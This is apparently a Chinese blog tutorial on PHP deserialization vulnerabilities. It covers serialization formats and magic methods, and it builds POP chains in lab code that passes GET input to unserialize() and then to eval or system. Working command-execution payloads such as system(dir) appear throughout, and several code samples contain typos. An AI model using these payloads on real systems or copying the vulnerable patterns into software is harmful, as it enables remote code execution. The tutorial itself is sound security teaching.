当前位置: 首页 > news >正文

反序列化漏洞详解(一)

目录

一、php面向对象

二、类

2.1 类的定义

2.2 类的修饰符介绍

三、序列化

3.1 序列化的作用

3.2 序列化之后的表达方式/格式 

① 简单序列化

② 数组序列化

③ 对象序列化

④ 私有修饰符序列化

⑤ 保护修饰符序列化

⑥ 成员属性调用对象 序列化

四、反序列化

4.1 反序列化的特性

4.2 反序列化的作用

五、反序列化漏洞

5.1 反序列化漏洞概述

5.2 魔术方法

魔术方法简介

什么是魔术方法

魔术方法的作用

魔术方法相关机制

重要魔术方法

六、pop链前置知识


一、php面向对象

面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心:计算机模拟现实世界,解决现实世界的问题。注意:面向对象思想很重要,其次是编程语言的语法。相比于面向过程,两者思想方式不同,面向过程注重功能,怎么一步一步去实现,其程序基本单位大多是函数组成的;而面向对象注重对象,是谁去做这个事情,也就是行为以及状态,其程序基本单位是对象,对象是通过类的实例化产生的。


二、类

2.1 类的定义

类是定义了一件事物的抽象特点,将数据的形式以及这些数据上的操作封装在一起,对象是具有类类型的变量,是类的实例。类是对象的抽象,而对象是类的具体实例。类的想法,把类实例化(new),调用具体值后就变成了对象。

内部构成:成员变量(属性)+成员函数(方法)

成员变量:定义在类内部的变量,该变量对外是不可见的,但是可以通过成员函数访问,在类被实例化成为对象后,该变量即可成对象的属性。

成员函数:定义在类的内部,用于访问对象的数据,是实现某个独立的功能,类中一个行为

大白话解释一下(比较形象):

类和对象的关系:类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 ,但是同学A 填写了这个表格,A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象,A就可以拿着简介去公司面试了,否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞,电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性,这时候面试官看到对象里面写着个人爱好为跳舞,面试官对同学A(执行类中函数)你跳舞吧,边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息(这就是成员函数可以访问成员变量,并且个人信息别人是不知道的),(通过这也可以看出 对象里有属性和方法,属性是可以一看看出来的,但是方法需要面试官主动让你跳,你才能跳) 

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系(也就是说 一个类的子类和类本身是没有什么区别的)


2.2 类的修饰符介绍

在类中直接声明的变量成为成员属性(也可以成为成员变量),可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储对象不同的属性信息

访问权限修饰符:对属性的定义 定义权限

如果定义了权限 就不可以在哪都能调用了

代码演示

<?php
class jianjie{  //定义一个类 简介的表格var $name; //定义一个属性 表格中需要填写的var $sex;  function dance($var1) { //定义一个方法 也就是跳舞echo $this->name."<br />";//如果对象为A A跳舞的时候可以说出自己的个人信息echo $var1."<br />";}
}
$A= new hero();//将类实例化为对象 也就是表格让同学A填写
$A->name='chengyaojin'; //同学A进行填写
$A->sex='man';
print_r($cyj);//面试官查看个人信息 只能查看到属性
$A->dance('tiaotiaotiao'); //面试官知道表格里有个跳舞,面试官就让A跳舞 A就跳舞了
?>
<?php
class hero{//三个属性 定义了该属性的权限public  $name='chengyaojin'; //公共的private  $sex='man';//私有的protected  $shengao='165';//私有加子类的function jineng($var1) {echo $this->name; //可以echo $var1;       //可以}
}
class hero2 extends hero{ //hero2位hero的子类function test(){echo $this->name."<br />";//可以echo $this->sex."<br />"; //不可以echo $this->shengao."<br />";//可以}
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

三、序列化

3.1 序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和方便传输)

将对象或者数组转化为可存储/传输的字符串

举例:如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面

在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示


3.2 序列化之后的表达方式/格式 

① 简单序列化

<?php
$a=null;
echo serialize($a);
?>

② 数组序列化

<?php
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>
benben
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

③ 对象序列化

<?php
class test{public $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}

④ 私有修饰符序列化

<?php
class test{private $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
//因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符

⑤ 保护修饰符序列化

<?php
class test{protected $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符

⑥ 成员属性调用对象 序列化

<?php
class test{var $pub='benben';function jineng(){echo $this->pub;}
}
class test2{var $ben;function __construct(){$this->ben=new test();}
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

整体演示

<?php
highlight_file(__FILE__);
class TEST {public $data;public $data2 = "dazzhuang";private $pass;public function __construct($data, $pass){$this->data = $data;$this->pass = $pass;}
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$arr2 = array2('benben','dazhuang','tzy');
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

注意

切记整型666被序列化后是 i:666; 分号要记住

实例化为对象后只会携带成员属性做序列化的时候 只会序列化属性,成员方法调用才有

带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符

s:10:"TESTpass" 明明8个字符 确显示10个字符就是因为空字符的原因


四、反序列化

4.1 反序列化的特性

1 反序列化之后的内容为一个对象

2 反序列化生成的对象里的值,由反序列化里的值提供;与原由类预定义的值无关

3 反序列化不触发类的成员方法;需要调用方法后才能触发(有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法


4.2 反序列化的作用

代码

<?php
class test {public  $a = 'benben';protected  $b = 666;private  $c = false;public function displayVar() {echo $this->a;}
}
$d = new test();//将类实例化为一个对象
$d = serialize($d);//进行序列化
echo $d."<br />"; //输出一下序列化后的值
echo urlencode($d)."<br />";//进行url编码 能看到空字符的%00
$a = urlencode($d);//将url编码后赋值给变量a
$b = unserialize(urldecode($a));//对a进行反序列化 赋值给b
var_dump($b);//
?>

反序列化后的输出和正常对象的输出是一样的,但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { 
["a"]=> 
string(6) "benben" 
["b:protected"]=> 
int(666) 
["c:private"]=> 
bool(false) }

反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用(类似于系统识别出来你这个对象就是属于类,就可以用类中的方法) 这个时候如果把类注释掉 那么这个方法将无法执行 (其实老师说的也不对 我感觉不能这么理解)因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。


五、反序列化漏洞

5.1 反序列化漏洞概述

反序列化成因反序列化过程中,userialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值 ,通过调用方法,触发代码执行(到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性,但是这个属性可以通过反序列化进行更改,也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用)

反序列化漏洞实例

靶场源码

<?php
error_reporting(0);
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}
$get = $_GET["benben"];//通过GET 传参 传的是序列化后的值
$b = unserialize($get);//把参数值反序列化赋值给一个对象b
$b->displayVar() ;
//本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞 
到这我也发现有个前提 我们必须要知道源码
?>

传参??benben=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}


5.2 魔术方法

魔术方法简介

魔术方法在反序列化漏洞利用里面占用的比例还是很大的

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用的方法,触发代码执行

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法相关机制

重要魔术方法


_construct()

构造函数,在实例化一个对象的时候,首先回去自动执行的一个方法;

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

<?php
highlight_file(__FILE__);
class User {public $username;public function __construct($username) {$this->username = $username;echo "触发了构造函数1次" ;}
}
//实例化user类的时候会触发类中__construct魔术方法
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次

__destruct()

 析构函数,在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法

<?php
highlight_file(__FILE__);
class User {public function __destruct(){echo "出发了析构函数1次"."<br />" ;}
}
$test = new User("benben"); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发 
$ser = serialize($test);//不会触发
unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思
?>
这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法
反序列化一样的道理
触发了构造函数1次
触发了构造函数1次

析构函数例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍,反序列化也一个意思 要把字符串过一遍,虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发
?>

构造序列化后的值

?benben=O:4:"User":1:{s:3:"cmd";s:12:"system(dir);";}


__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password)    {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {return array('username', 'nickname');}
}
$user = new User('a', 'b', 'c');//触发__construct魔术方法 abc参数自动传入方法之中
echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

sleep例题

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password)    {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {system($this->username);}
}
$cmd = $_GET['benben'];//通过GET传入参数
$user = new User($cmd, 'b', 'c');//这个GET获取的参数作为对象的username
echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞
?>

构造语句?benben=cmd

这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多


__wakeup()

unserlialize()会检查是否存在一个__ wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用反序列化操作中重新建立数据库连接或执行其他初始化操作。

示例

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {$this->password = $this->username;}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
//在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password
魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password:private"]=> string(1) "a" ["order:private"]=> NULL }

例题 漏洞利用

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

构造poc O:4:"User":1:{s:8:"username";s:3:"dir";}

输出


__tostring

表达方式错误 导致魔术方法触发

触发时机:把对象当成字符串调用

把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $benben = "this is test!!";public function __toString(){return '格式错误!';}
}
$test = new User() ;//这是一个对象
print_r($test); //成功执行
echo "<br />"; 
echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发
?>
User Object ( [benben] => this is test!! )
格式错误!

__invoke()

格式表达错误导致魔术方法触发

触发时机:包对象当成函数调用

<?php
function dazhaung(){echo "这是一个函数";
}
class User {var $benben = "this is test!!";public function __invoke(){echo  '这不是一个函数!';}
}
$test = new User() ;
dazhaung()//输出这是一个函数
$test() //因为这是对象 当成函数去执行类里面的invoke函数就会执行
?>

错误调用相关魔术方法


__call()

触发时机:调用一个不存在的方法

参数:2个参数传参$arg1,$arg2

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

 返回值:调用的不存在的方法的名称和参数

当对象调用的方法不存在是 就会触发这个魔术方法

<?php
class User {public function __call($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test = new User() ;
$test -> callxxx('a');
?>
callxxx,a

__callStatic()

触发时机:静态调用或调用成员常量时的方法不存在

参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数

<?php
class User {public function __callStatic($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test = new User() ;
$test::callxxx('a');//这就是静态调用方法 如果这个方法不存在 就触发callstatic
?>
callxxx,a

__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性名称

触发get(0)把不存在的属性名称var2赋值给$arg1

<?php
class User {public $var1;public function __get($arg1){echo  $arg1;}
}
$test = new User() ;
$test ->var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来
?>
var2

__set()

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

先触发grt()再触发set()

$arg1,不存在成员属性的名称

$arg2,不存在的成员属性var2赋的值

<?php
class User {public $var1;public function __set($arg1 ,$arg2){echo  $arg1.','.$arg2;}
}
$test = new User() ;
$test ->var2=1;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出
?>
var2,1

__isset()

触发时机:对不可访问属性/或不存在属性使用isset()或empty()时,__isset()会被调用

参数:传参$arg1

返回值:不存在的成员属性的名称 

<?php
class User {private $var;public function __isset($arg1 ){echo  $arg1;}
}
$test = new User() ;
isset($test->var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1
?>
var

unset()同理

<?php
class User {private $var;public function __unset($arg1 ){echo  $arg1;}
}
$test = new User() ;
unset($test->var);//同理
?>
var

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用一个魔术方法

<?php
class User {private $var;public function __clone( ){echo  "__clone test";}
}
$test = new User() ;
$newclass = clone($test)//拷贝一个对象后 这个新对象会触发魔术方法__clone
?>

六、pop链前置知识

1 控制成员属性所对应的对象是哪一个

2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了

练习 代码讲解

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;public function __construct(){$this->test = new normal();}public function __destruct(){$this->test->action();}
}
class normal {public function action(){echo "please attack me";}
}
class evil {var $test2;public function action(){eval($this->test2);}
}
unserialize($_GET['test']);
?>

反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点

往前推 

1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数

2 index类中的 __destruct魔术方法调用了normal类对象test的action函数 

这个时候问题就是如何让test调用evil中的action()方法 

因为反序列化得出的对象的值和类无关 可以自定义

我们只需定义test为对象 这个对象的来源是evil类

解决思路:给test赋值为对象  test=new evil()

有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串

我是真牛呀 一次直接手写成功

?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:12:"system(dir);";}}

但是吧手写短一点的行 最好还是要利用源代码构造poc 

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;public function __construct(){$this->test = new evil();}}
class evil {var $test2="system(dir);";public function action(){eval($this->test2);}
}
$a=new index();
echo serialize($a);
?>

这是分析代码后确定如何才能执行eval()

反序列化过程: 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action

得出反序列化过程开始使用序列化构造poc

构造poc序列化过程:index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir)

将poc放到源代码中分析过程:告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令

还有一种构造方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;
}
class evil {var $test2;}
$a=new evil();//实例化为一个对象
$a->test2="system(dir);";//为这个对象的竖向test2进行赋值
$b=new index();//实例化index的对象
$b->test=$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例
echo serialize($b); //实例化这个$b
?>

相关文章:

反序列化漏洞详解(一)

目录 一、php面向对象 二、类 2.1 类的定义 2.2 类的修饰符介绍 三、序列化 3.1 序列化的作用 3.2 序列化之后的表达方式/格式 ① 简单序列化 ② 数组序列化 ③ 对象序列化 ④ 私有修饰符序列化 ⑤ 保护修饰符序列化 ⑥ 成员属性调用对象 序列化 四、反序列化 …...

键盘打字盲打练习系列之指法练习——2

一.欢迎来到我的酒馆 盲打&#xff0c;指法练习&#xff01; 目录 一.欢迎来到我的酒馆二.开始练习 二.开始练习 前面一个章节简单地介绍了基准键位、字母键位和数字符号键位指法&#xff0c;在这个章节详细介绍指法。有了前面的章节的基础练习&#xff0c;相信大家对盲打也有了…...

小程序----使用图表显示数据--canvas

需求&#xff1a;在小程序上实现数据可视化 思路&#xff1a;本来想用的是echarts或者相关的可视化插件&#xff0c;但因为用的是vue3&#xff0c;大多数插件不支持&#xff0c;所以用了echarts&#xff0c;但最后打包的时候说包太大超过2M无法上传&#xff0c;百度了一下&…...

⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)

1.这里我代码没啥问题~~~编辑器里也没毛病 void Start(){// 加载底图和上层图片string backgroundImagePath Application.streamingAssetsPath "/background.jpg";Texture2D backgroundTexture new Texture2D(2, 2);byte[] backgroundImageData System.IO.File.R…...

document

原贴连接 1.在整个文档范围内查询元素节点 功能API返回值根据id值查询document.getElementById(“id值”)一个具体的元素节根据标签名查询document.getElementsByTagName(“标签名”)元素节点数组根据name属性值查询document.getElementsByName(“name值”)元素节点数组根据类…...

NodeJS(二):npm包管理工具、yarn、npx、pnpm工具等

目录 (一)npm包管理工具 1.了解npm 2.npm的配置文件 常见的配置属性 scripts属性*** 依赖的版本管理 3.npm安装包的细节 4.package-lock文件 5.npm install原理** 6.npm的其他命令 (二) 其他包管理工具 1.yarn工具 基本指令 2.cnpm工具 3.npx工具 (1)执行本地…...

day3 移出链表中值为x的节点

ListNode* removeElements(ListNode* head, int val) { ListNode* dummyHead new ListNode(0); // 设置一个虚拟头结点 dummyHead->next head; // 将虚拟头结点指向head&#xff0c;这样方便后面做删除操作 ListNode* cur dummyHead; while (cur->next ! NULL…...

浅谈 Guava 中的 ImmutableMap.of 方法的坑

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;大厂高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《EffectiveJava》独家解析》专栏作者。 热门文章推荐&…...

Symbol()和迭代器生成器

目录 1、Symbol&#xff08;&#xff09; 2、迭代器生成器 执行流程 模拟生成器函数 for of 遍历迭代选择器 yield * Generator函数应用 1、Symbol&#xff08;&#xff09; Symbol表示独一无二的值 const s1 Symbol(a)const s2 Symbol(a)console.log(s1 s2) // fa…...

USB Type-C的基本原理

1 USB Type-C的基本原理 1.1 基本特性 Figure 1-1 USB Type-C接头外形 USB Type-C&#xff08;简称USB-C&#xff09;的基本特性&#xff1a; 1. 接口插座的尺寸与原来的Micro-USB规格一样小&#xff0c;约为8.3mm X 2.5mm 2. 可承受1万次反复插拔 3. 支持正反均可插入的“正反…...

HarmonyOS开发(八):动画及网络

1、动画概述 在ArkUI中&#xff0c;产生动画的方式是改变组件属性值并且指定相关的动画参数。当属性值发生变化后&#xff0c;按照动画参数&#xff0c;从原来的状态过渡到新的状态&#xff0c;就形成一个动画。 动画的相关参数如下&#xff1a; 属性名称 属性类型 默认值 …...

Pinctrl子系统和GPIO子系统

Pinctrl子系统&#xff1a; 借助Princtr子系统来设置一个Pin的复用和电气属性&#xff1b; pinctrl子系统主要做的工作是&#xff1a;1. 获取设备树中的PIN信息&#xff1b;2.根据获取到的pin信息来设置的Pin的复用功能&#xff1b;3.根据获取到的pin信息去设置pin的电气特性…...

Unittest单元测试框架之unittest构建测试套件

构建测试套件 在实际项目中&#xff0c;随着项目进度的开展&#xff0c;测试类会越来越多&#xff0c;可是直到现在我 们还只会一个一个的单独运行测试类&#xff0c;这在实际项目实践中肯定是不可行的&#xff0c;在 unittest中可以通过测试套件来解决该问题。 测试套件&…...

Django回顾4

一.过滤器 1.过滤器格式 {{变量|过滤器名字}} 2.怎么使用 1.注册app 2.在app下创建templatetags模块&#xff08;模块名只能是templatetags&#xff09; 3.在包下写一个py文件&#xff0c;随便命名 4.在py文件中写入&#xff1a;from django import template …...

Apache APISIX 体验指南

APISIX 体验指南 所有的 sh 脚本通过 git bash 执行。 出现错误仔细核对文档。 github 地址&#xff1a; 使用 docker 安装 apisix 确保本地安装 Docker 和 Docker-compose 如未安装参开以下文档安装&#xff1a; Docker&#xff1a;https://docs.docker.com/engine/install/c…...

Promise的resolve和reject方法(手写题)

1.resolve 2.reject 3.手写 1.resolve //构造函数上添加 resolve 方法 Promise.resolve function (value) {return new Promise((resolve, reject) > {if (value instanceof Promise) {value.then((val) > {resolve(val)},(err) > {reject(err)})} else {resolve(v…...

关于wiki的Unlink攻击理解--附例题BUUCTF-hitcontraining_bamboobox1

堆机制我研究了很久&#xff0c;一直没有什么很大的进展。堆相较于栈难度大的多。利用手法也多。目前还没有怎么做过堆题。这次就把理解了很久的Unlink写一写。然后找一题实践一下。 在glibc中&#xff0c;堆管理都是用一个个chunk去组织的。这个就不过多阐述。Unlink是glibc一…...

【linux】日志有哪些

Linux系统日志主要有以下几种类型&#xff1a; 内核及系统日志&#xff1a;这种日志数据由系统服务rsyslog统一管理&#xff0c;根据其主配置文件/etc/rsyslog.conf中设置决定内核消息及各种系统程序消息记录到什么位置。/var/log/message&#xff1a;该日志文件存放了内核消息…...

Redis主从复制实现RCE

文章目录 前置知识概念redis常用命令redis module 利用条件利用工具思路例题 [网鼎杯 2020 玄武组]SSRFMe总结 前置知识 概念 背景是多台服务器要保存同一份数据&#xff0c;如何实现其一致性呢&#xff1f;数据的读写操作是否每台服务器都可以处理&#xff1f;这里Redis就提供…...

Flutter应用程序的加固原理

在移动应用开发中&#xff0c;Flutter已经成为一种非常流行的技术选项&#xff0c;可以同时在Android和iOS平台上构建高性能、高质量的移动应用程序。但是&#xff0c;由于其跨平台特性&#xff0c;Flutter应用程序也面临着一些安全风险&#xff0c;例如反编译、代码泄露、数据…...

Centos7部署NFS

搭建NFS存储服务器--基于CentOS7系统 - jianmuzi - 博客园 在CentOS中搭建NFS - 陌上荼靡 - 博客园 NFS简介 NFS 是 Network FileSystem 的缩写&#xff0c;顾名思义就是网络文件存储系统&#xff0c;它最早是由 Sun 公司发展出来的&#xff0c;也是 FreeBSD 支持的文件系统…...

我已经开了一个融资融券的账户了,还可以再在别的券商开两融(信用账户)吗?

融资融券交易又称“证券信用交易”或保证金交易&#xff0c;是指投资者向具有融资融券业务资格的证券公司提供担保物&#xff0c;借入资金买入证券&#xff08;融资交易&#xff09;或借入证券并卖出&#xff08;融券交易&#xff09;的行为。 简单说就是融资做多&#xff0c;…...

Spring Cloud 版本升级记:OpenFeignClient与Gateway的爱恨交织

Spring Cloud 版本升级记&#xff1a;OpenFeignClient与Gateway的爱恨交织 近日&#xff0c;在负责的项目中&#xff0c;我对 Spring Boot、Spring Cloud 以及 Spring Cloud Alibaba 进行了版本升级。原以为会一切顺利&#xff0c;没想到却遭遇了 Spring Cloud Gateway 无法正…...

华为OD机试 - 最多购买宝石数目(Java JS Python C)

题目描述 橱窗里有一排宝石,不同的宝石对应不同的价格,宝石的价格标记为 gems[i] 0 ≤ i < nn = gems.length宝石可同时出售0个或多个,如果同时出售多个,则要求出售的宝石编号连续; 例如客户最大购买宝石个数为m,购买的宝石编号必须为:gems[i],gems[i+1],...,ge…...

【LeetCode】挑战100天 Day17(热题+面试经典150题)

【LeetCode】挑战100天 Day17&#xff08;热题面试经典150题&#xff09; 一、LeetCode介绍二、LeetCode 热题 HOT 100-192.1 题目2.2 题解 三、面试经典 150 题-193.1 题目3.2 题解 一、LeetCode介绍 LeetCode是一个在线编程网站&#xff0c;提供各种算法和数据结构的题目&…...

正则表达式的基本语法

1.正则表达式基本语法 两个特殊的符号^和$。他们的作用是分别指出一个字符串的开始和结束。例子如下&#xff1a; "^The"&#xff1a;表示所有以"The"开始的字符串&#xff08;"There"&#xff0c;"The cat"等&#xff09;&#xff1…...

使用visual Studio MFC 平台实现对灰度图添加椒盐噪声,并进行均值滤波与中值滤波

平滑处理–滤波 本文使用visual Studio MFC 平台实现对灰度图添加椒盐噪声&#xff0c;并进行均值滤波与中值滤波 关于其他MFC单文档工程可参考 01-Visual Studio 使用MFC 单文档工程绘制单一颜色直线和绘制渐变颜色的直线 02-visual Studio MFC 绘制单一颜色三角形、渐变颜色边…...

Django HMAC 请求签名校验与 Vue.js 实现安全通信

概要 在 Web 应用的开发过程中&#xff0c;确保数据传输的安全性和完整性是一个不容忽视的问题。使用 HMAC&#xff08;Hash-based Message Authentication Code&#xff09;算法对请求内容进行签名校验&#xff0c;是一种常见且有效的安全策略。本文将详细介绍如何在 Django …...

深度学习之循环神经网络

视频链接&#xff1a;6 循环神经网络_哔哩哔哩_bilibili 给神经网络增加记忆能力 对全连接层而言&#xff0c;输入输出的维数固定&#xff0c;因此无法处理序列信息 对卷积层而言&#xff0c;因为卷积核的参数是共享的&#xff0c;所以卷积操作与序列的长度无关。但是因为卷积…...

与原有视频会议系统对接

要实现与原有视频会议系统对接&#xff0c;需要确保通信协议的一致性。连通宝视频会议系统可与第三方视频会议系统对接。实现与第三方会议系统对接还可以使用会议室连接器&#xff0c;可以确保不同系统之间的数据传输和交互。 具体对接流程可能因不同品牌和类型的视频会议系统而…...